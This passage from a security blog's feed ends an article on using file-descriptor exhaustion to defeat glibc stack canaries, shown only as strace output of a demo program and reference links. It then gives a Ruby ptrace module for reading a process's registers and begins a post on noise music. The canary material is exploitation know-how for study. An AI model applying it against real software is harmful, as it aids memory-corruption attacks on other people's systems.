		 rdtsc : 170812625185160   close(3)                                = 0&lt;br /&gt;
		 rdtsc : 170812625453820   mprotect(0xb8070000, 8192, PROT_READ)   = 0&lt;br /&gt;
		 rdtsc : 170812626110840   mprotect(0x8049000, 4096, PROT_READ)    = 0&lt;br /&gt;
		 rdtsc : 170812626430040   mprotect(0xb80a2000, 4096, PROT_READ)   = 0&lt;br /&gt;
		 rdtsc : 170812626757220   munmap(0xb8076000, 50808)               = 0&lt;br /&gt;
		 rdtsc : 170812627081740   write(2, &quot;\nUSAGE: 1 (print Canary), 2 (ter&quot;..., 52&lt;br /&gt;
		USAGE: 1 (print Canary), 2 (terminator owerwrite)) = 52&lt;br /&gt;
		 rdtsc : 170812627674920   exit_group(52)                          = ?&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color=&quot;green&quot;&gt;For other possible FD exhaustion targets you can look &lt;a href=&quot;http://www.google.com/codesearch?hl=en&amp;amp;lr=&amp;amp;q=lang%3AC+if%5C%28fd%3E%3D0&amp;amp;sbtn=Search&quot;&gt;here&lt;/a&gt;&lt;/font&gt;.&lt;/p&gt;
&lt;p&gt;
I didn&apos;t explain some things since they have been discussed before, so if you have unanswered questions have a look below  :&lt;/p&gt;
&lt;li&gt;&lt;a href=&quot;http://www.trl.ibm.com/projects/security/ssp/&quot;&gt;http://www.trl.ibm.com/projects/security/ssp/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.phrack.org/issues.html?issue=67&amp;amp;id=13&quot;&gt;http://www.phrack.org/issues.html?issue=67&amp;amp;id=13 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html&quot;&gt;http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://cwe.mitre.org/data/definitions/769.html&quot;&gt;http://cwe.mitre.org/data/definitions/769.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Time_Stamp_Counter&quot;&gt;http://en.wikipedia.org/wiki/Time_Stamp_Counter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811&quot;&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493&quot;&gt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sourceware.org/bugzilla/show_bug.cgi?id=10149&quot;&gt;http://sourceware.org/bugzilla/show_bug.cgi?id=10149&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/&quot;&gt;http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/&quot;&gt;http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/&lt;/a&gt;&lt;/li&gt;&lt;/p&gt;
&lt;br&gt;</description>
        <pubDate>Thu, 20 Jan 2011 07:24:34 +0000</pubDate>
        <link>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/</guid>
        
        <category>Bugs</category>
        
        <category>exhaustion</category>
        
        <category>file descriptor</category>
        
        <category>linux</category>
        
        <category>Security</category>
        
        
        <category>Articles</category>
        
      </item>
    
      <item>
        <title>Read registers with ruby</title>
        <description>&lt;p&gt;A couple of days ago I needed to get the state of the cpu registers of a running process during some specific events. The project I was playing with was written in ruby so I wrote a tiny little module that does just that, gives you the value of the requested cpu register. The module is called &lt;span style=&quot;color:#008000;&quot;&gt;reginfo&lt;/span&gt; and below is the process I followed to do it.&lt;/p&gt;
&lt;p&gt;First I had to write the C part of it, for the instrumentation. A simple way to get the registers is to use &lt;a href=&quot;http://linux.die.net/man/2/ptrace&quot;&gt;ptrace&lt;/a&gt;. First we &lt;span style=&quot;color:#008000;&quot;&gt;attach&lt;/span&gt; to a process, then we &lt;span style=&quot;color:#008000;&quot;&gt;get&lt;/span&gt; the register, then we &lt;span style=&quot;color:#008000;&quot;&gt;detach &lt;span style=&quot;color:#000000;&quot;&gt;and finally return the value.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For this to work as a ruby module we have to use the ruby.h&lt;/p&gt;
&lt;p&gt;
	

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#include &quot;ruby.h&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#include &amp;lt;linux/ptrace.h&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#include &amp;lt;sys/user.h&amp;gt; &lt;/span&gt;
 
&lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;RegInfo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Qnil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Init_reginfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
 
&lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method_getr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
&lt;span class=&quot;n&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Init_reginfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;no&quot;&gt;RegInfo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rb_define_module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;RegInfo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;rb_define_method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;RegInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;getr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method_getr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
&lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method_getr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;VALUE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;RSTRING_PTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pid_t&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;NUM2INT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_regs_struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;outreg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ptrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;PTRACE_ATTACH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attach&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;waitpid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ptrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;PTRACE_GETREGS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;em
    if (!strncasecmp(input,&quot;eax&quot;,3)){out = registers.eax;}  //make sure we don&apos;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmpr&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strncasecmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;edx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strncasecmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ebx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strncasecmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ecx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strncasecmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ebp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ebp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strncasecmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;esi&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strncasecmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;eip&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/default
    ptrace(PTRACE_DETACH,process,0,0); /&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;detach&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;outreg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;%lx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rb_str_new2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;outreg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;/p&gt;


&lt;p&gt;Next it&apos;s straight forward, we create an extconf.rb file which when we execute generates the Makefile which will compile our module.&lt;/p&gt;
&lt;p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;mkmf&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;extension_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;reginfo&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;dir_config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;extension_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;create_makefile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;extension_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;/p&gt;
And an example

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;reginfo&apos;&lt;/span&gt;
&lt;span class=&quot;kp&quot;&gt;include&lt;/span&gt;  &lt;span class=&quot;no&quot;&gt;RegInfo&lt;/span&gt; 
	&lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;fork&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tail -f txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;eip&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#here we get EIP&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;


&lt;p&gt;The above  prints something like &lt;span style=&quot;color:#008000;&quot;&gt;b7f577d8&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;You can download reginfo from &lt;a href=&quot;https://github.com/cphr/reginfo/releases/download/0.1/reginfo.so.gz&quot;&gt;here&lt;/a&gt;, the source code from &lt;a href=&quot;https://github.com/cphr/reginfo/releases/download/0.1/reginfo-src.tar.gz&quot;&gt;here&lt;/a&gt; and project updates &lt;a href=&quot;https://github.com/cphr/reginfo&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color:#808080;&quot;&gt;This is a very simple linux module that performs only this specific task, more functionality will be added soon. If you are looking for something a bit more elaborate, have a look at &lt;/span&gt;&lt;/em&gt;&lt;a href=&quot;http://metasm.cr0.org/&quot;&gt;&lt;em&gt;&lt;span style=&quot;color:#808080;&quot;&gt;METASM&lt;/span&gt;&lt;/em&gt;&lt;/a&gt;&lt;em&gt;&lt;span style=&quot;color:#808080;&quot;&gt;.&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;
&lt;address&gt;&lt;span style=&quot;font-family:Consolas, Monaco, &apos;Courier New&apos;, Courier, monospace;font-size:small;&quot;&gt;&lt;span style=&quot;line-height:18px;white-space:pre;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/address&gt;
&lt;p&gt;&lt;/unistd.h&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 19 Aug 2009 17:04:28 +0000</pubDate>
        <link>http://cipher.org.uk/2009/08/19/read-registers-with-ruby/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2009/08/19/read-registers-with-ruby/</guid>
        
        <category>module</category>
        
        <category>registers</category>
        
        <category>ruby</category>
        
        
        <category>Articles</category>
        
        <category>Projects</category>
        
      </item>
    
      <item>
        <title>The Art of Noise</title>
        <description>&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color:#c0c0c0;&quot;&gt;This post is on different subject than the topics covered usually, it describes my entry to the Noise vs. Subversive Computing compilation.&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A couple of months ago &lt;a href=&quot;http://www.myspace.com/pascalcretain&quot;&gt;Pascal Cretain&lt;/a&gt; invited me to participate in a very interesting project. A bunch of security people and a bunch of noise artists were going to collaborate, the mission was : The Noisicians will have &quot;Subversive Computing&quot; as their central theme, and the Subversive Technologists will work with &quot;Noise&quot;.&lt;/p&gt;
&lt;p align=center&gt;
	&lt;img class=&quot;alignnone size-full wp-image-298&quot; title=&quot;computationallyinfeasublerecords-215x300&quot; src=&quot;/assets/computationallyinfeasublerecords-215x300.png&quot; alt=&quot;computationallyinfeasublerecords-215x300&quot; width=&quot;215&quot; height=&quot;300&quot; /&gt;
&lt;br&gt;	&lt;caption align=&quot;bottom&quot;&gt;&lt;strong&gt;Noise vs. Subversive Computing&lt;/strong&gt;&lt;/caption&gt;&lt;br&gt;&lt;br&gt;
	
	
	&lt;/p&gt;
&lt;p&gt;This may not sound very complex, but it is! Despite what we use noise for and what our perception of noise is, it is not easy to generate, compose and generally conceive it in a controlled and meaningful way. Cacophony or atonality can very quickly displease,  due to the surprise element which is usually generated by abnormal db fluctuations.&lt;/p&gt;
&lt;p&gt;Having all these in mind, I start thinking of a way to create a natural sound (around noise) which will assist in creating a visually familiar image, without surprising the listener too much.&lt;/p&gt;
&lt;p&gt;The idea that popped into my mind was to generate an audible version of a Rainbow. To do that I chose to use what it is known as the &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Colors_of_noise&quot;&gt;Colors of Noise&lt;/a&gt;&quot;, which refers to the power distribution in frequency spectrum of different types of noise.&lt;/p&gt;
&lt;p&gt;If you think that it is easy to create different types of noise, then I have to assume that you haven&apos;t tried. For my experiments I used the tools included in the &lt;a href=&quot;http://ccrma.stanford.edu/planetccrma/software/&quot;&gt;CCRMA&lt;/a&gt;, and more specifically &lt;a href=&quot;http://ccrma.stanford.edu/software/snd/snd/clm.html&quot;&gt;CLM&lt;/a&gt; (Common Lisp Music) and &lt;a href=&quot;http://ccrma.stanford.edu/software/snd/&quot;&gt;SND&lt;/a&gt; (Sound editor).&lt;/p&gt;
